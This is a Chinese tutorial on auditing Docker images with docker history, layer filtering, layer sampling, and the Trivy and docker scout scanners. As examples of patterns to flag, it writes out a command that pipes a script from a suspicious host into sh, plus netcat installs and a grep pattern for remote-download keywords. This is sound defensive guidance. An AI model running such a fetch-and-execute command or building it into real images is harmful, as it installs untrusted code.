可通过 docker history 命令重点查看 CREATED BY 和 SIZE 两列，CREATED BY 显示每层对应 Dockerfile 指令（如 RUN curl | sh、FROM ubuntu:latest 等高危模式），SIZE 异常大则提示缓存未清理或敏感文件残留；配合 --no-trunc、--filter 和 grep 筛选，再通过 docker run、docker save 导出或 trivy/docker scout 工具深入验证具体层内容与漏洞归属。
直接看 docker history 输出，能快速定位哪一层引入了风险，但关键是要知道盯住哪些字段、结合什么动作验证。
重点看 CREATED BY 和 SIZE 两列
CREATED BY 显示每一层对应的 Dockerfile 指令，这是溯源的起点。比如看到：
-
RUN curl -sSL https://mal.io/install.sh | sh—— 动态下载执行脚本，极可能带后门 -
RUN apt-get update && apt-get install -y vim curl wget netcat—— 非必要调试工具增大攻击面 -
FROM python:3.9或FROM ubuntu:latest—— 标签模糊，无法锁定具体版本，可能拉取含已知漏洞的旧版基础镜像 -
RUN pip install -r requirements.txt且 requirements.txt 未固定版本 —— 运行时可能装入含 CVE 的第三方包
SIZE 列异常大也要警惕：比如某层突然达到 200MB，可能是缓存没清理（rm -rf /var/lib/apt/lists/* 缺失），或偷偷打包了调试文件、日志、密钥等敏感内容。
用 --no-trunc 和过滤缩小排查范围
默认输出会截断指令，加 --no-trunc 才能看到完整命令：
再配合 --filter 快速聚焦可疑层：
- docker history --filter "size>100000000" myapp:prod —— 查大于 100MB 的层
- docker history --format "{{.ID}} {{.CreatedBy}}" --no-trunc myapp:prod | grep -i "curl\|wget\|bash" —— 筛含远程下载或执行关键词的层
从层里抽样验证实际内容
history 只告诉你“哪一层”，要确认有没有真问题，得进层看：
- 启动容器运行关键命令：docker run --rm myapp:prod sh -c "ls -l /app/keys/ || echo 'no keys dir'"
- 检查是否残留构建产物：docker run --rm myapp:prod dpkg -l | grep -i dev（查是否误装了开发包）
- 导出某层快速扫工具：docker save myapp:prod | tar -xO '*/layer.tar' | tar -t | grep -E "(vi|nano|telnet)"
搭配 Trivy 和 docker scout 自动标出风险归属层
人工翻容易漏，工具能直接把漏洞和配置问题打点到具体 layer ID：
- trivy image --security-checks vuln,config myapp:prod —— 显示每个 CVE 属于哪一层、哪个软件包
- docker scout cves myapp:prod —— 官方工具，输出带 layer digest 和修复建议
- 发现某层有高危漏洞？用 docker image inspect myapp:prod 查该层的
digest，再反推是哪个 RUN 或 COPY 指令引入的
